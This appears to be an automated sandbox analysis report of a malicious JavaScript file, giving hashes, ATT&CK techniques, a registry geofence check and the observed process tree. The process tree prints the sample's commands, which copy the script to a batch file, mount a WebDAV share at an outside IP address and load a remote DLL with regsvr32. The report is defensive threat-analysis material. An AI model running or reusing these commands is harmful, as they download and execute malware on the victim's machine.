29a8590fbd3a20ef5e475e376e7fab320f5b9c3878ac2bac3b356aada1dba488

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2024, 16:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

164211735250910870.js
Size

5KB
MD5

a40c0203c0640f60b3535ea16c225c1b
SHA1

89c9fb733ef392b18690275738ec3fc31aaec1cc
SHA256

29a8590fbd3a20ef5e475e376e7fab320f5b9c3878ac2bac3b356aada1dba488
SHA512

0db7915d23a989ae9b3c5ff34cc2b36e630b28a73b736b2de04c9a1ee168856c05458f9661d4ffe4dcead62146ee04a836b620955f570fe3b3d4e20bc72e64f7
SSDEEP

96:g2+ahF4FQrQ3bte+GexI1bQ/PlScBBLi90WB0VR2SSJcSe+OtSIqB0VsSgSBLmzg:zaF02RVVI1bYPR20MokK

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 404	1360	wscript.exe	83
PID 1360 wrote to memory of 404	1360	wscript.exe	83
PID 404 wrote to memory of 5080	404	cmd.exe	86
PID 404 wrote to memory of 5080	404	cmd.exe	86
PID 404 wrote to memory of 1348	404	cmd.exe	87
PID 404 wrote to memory of 1348	404	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\164211735250910870.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\164211735250910870.js" "C:\Users\Admin\\dvyjua.bat" && "C:\Users\Admin\\dvyjua.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:5080
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\544.dll
    3⤵
    PID:1348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\dvyjua.bat

Filesize
5KB

MD5
a40c0203c0640f60b3535ea16c225c1b

SHA1
89c9fb733ef392b18690275738ec3fc31aaec1cc

SHA256
29a8590fbd3a20ef5e475e376e7fab320f5b9c3878ac2bac3b356aada1dba488

SHA512
0db7915d23a989ae9b3c5ff34cc2b36e630b28a73b736b2de04c9a1ee168856c05458f9661d4ffe4dcead62146ee04a836b620955f570fe3b3d4e20bc72e64f7

Download Submit